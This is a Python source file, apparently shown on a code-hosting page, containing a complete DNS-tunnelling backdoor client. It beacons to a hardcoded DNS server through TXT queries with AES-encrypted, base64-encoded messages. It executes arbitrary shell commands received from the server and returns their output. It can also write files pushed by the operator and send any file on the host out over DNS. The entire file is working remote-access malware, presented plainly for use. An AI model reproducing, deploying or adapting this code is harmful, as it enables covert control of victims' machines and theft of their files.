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dns_client.py
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192 lines (167 loc) · 5.86 KB
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import dns.resolver
import re
import base64
from Crypto.Cipher import AES
import os
import binascii
class Client:
def __init__(self,host,port):
self.host=host
self.port=port
def beikon(self):
hk={'cmd':self.cmd,'upload':self.upload,'download':self.download}
demo='demo'
demo=self.jiami(demo)
bbc=self.fs(demo)
kk=self.zz(bbc)
jm=self.jiemi(kk.encode('utf-8'))
if jm:
while True:
try:
g='ok'
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm in hk:
hk[jm]()
except:
pass
def fs(self,data):
dns_query = dns.message.make_query("{}".format(data), dns.rdatatype.TXT)
response = dns.query.udp(dns_query, self.host, port=int(self.port))
a=response.to_text()
return a
def zz(self,data):
sb=re.findall('.* 60',str(data))
return str(sb[0]).replace('. 60','').replace('.com','')
def add_to_16(self,text):
while len(text) % 16 != 0:
text += '\0'
return str.encode(text)
def jiami(self,data):
key='DD194FB8BA97C8BFDA635E3CE76809A2'.encode('utf-8')
text=bytes.decode(base64.b64encode(str(data).encode('utf-8')))
aes=AES.new(key,AES.MODE_ECB)
encrypd=str(base64.encodebytes(aes.encrypt(self.add_to_16(text))),encoding='utf-8').replace('\n','')
return encrypd
def jiemi(self,data):
key = 'DD194FB8BA97C8BFDA635E3CE76809A2'.encode('utf-8')
aes=AES.new(key,AES.MODE_ECB)
decode_encrypd = aes.decrypt(base64.decodebytes(data))
return bytes.decode(base64.b64decode(bytes.decode(decode_encrypd).rstrip('\0')))
def cmd(self):
while True:
g='cmd'
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm == 'exit':
break
else:
zx=os.popen(jm)
if zx:
g=zx.read()
demos = self.jiami(g)
if len(demos)<64:
if len(demos)==0:
demos=self.jiami(jm)
bbc = self.fs(demos)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm:
continue
else:
g='long'
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm:
g = len(demos)
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm:
b=0
e=32
for u in demos:
g=demos[b:e]
b+=32
e+=32
bbc=self.fs(g)
kk = self.zz(bbc)
if kk=='break':
break
def upload(self):
g = 'upload'
names=''
changdu=0
data=''
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
if str(kk).isdigit()==True:
changdu+=int(kk)
while True:
demo = self.jiami('jx')
bbc = self.fs(demo)
zz=self.zz(bbc)
data+=zz
if len(data)==changdu:
print(data)
demo = self.jiami('break')
self.fs(demo)
break
do=self.jiami('name')
bc=self.fs(do)
zz=self.zz(bc)
jbb=self.jiemi(zz.encode('utf-8'))
names+=jbb
ju=self.jiemi(data.encode('utf-8'))
xj=open(r'{}'.format(names),'wb')
xj.write(binascii.unhexlify(ju.encode('ascii')))
xj.close()
if os.path.exists(r'{}'.format(names)):
do=self.jiami('cg')
bk=self.fs(do)
else:
do = self.jiami('bcg')
self.fs(do)
elif str(kk)=='fuck':
pass
def download(self):
d='download'
demo = self.jiami(d)
bbc = self.fs(demo)
kk = self.zz(bbc)
changdu=0
a=0
b=32
jm=self.jiemi(kk.encode('utf-8'))
print(jm)
if os.path.exists(jm):
dk=open(jm,'rb')
jm = self.jiami(binascii.hexlify(dk.read()).decode('ascii'))
changdu+=len(jm)
print(changdu)
cd= self.fs(changdu)
zz=self.zz(cd)
if zz:
for x in jm:
print(1)
v=self.fs(jm[a:b])
jmb=self.zz(v)
if jmb=='break':
break
a+=32
b+=32
else:
self.fs('bcz')
if __name__ == '__main__':
SERVER = "192.168.3.75" # your DNS server
PORT = 53 # DNS server port
obk=Client(host=SERVER,port=PORT)
obk.beikon()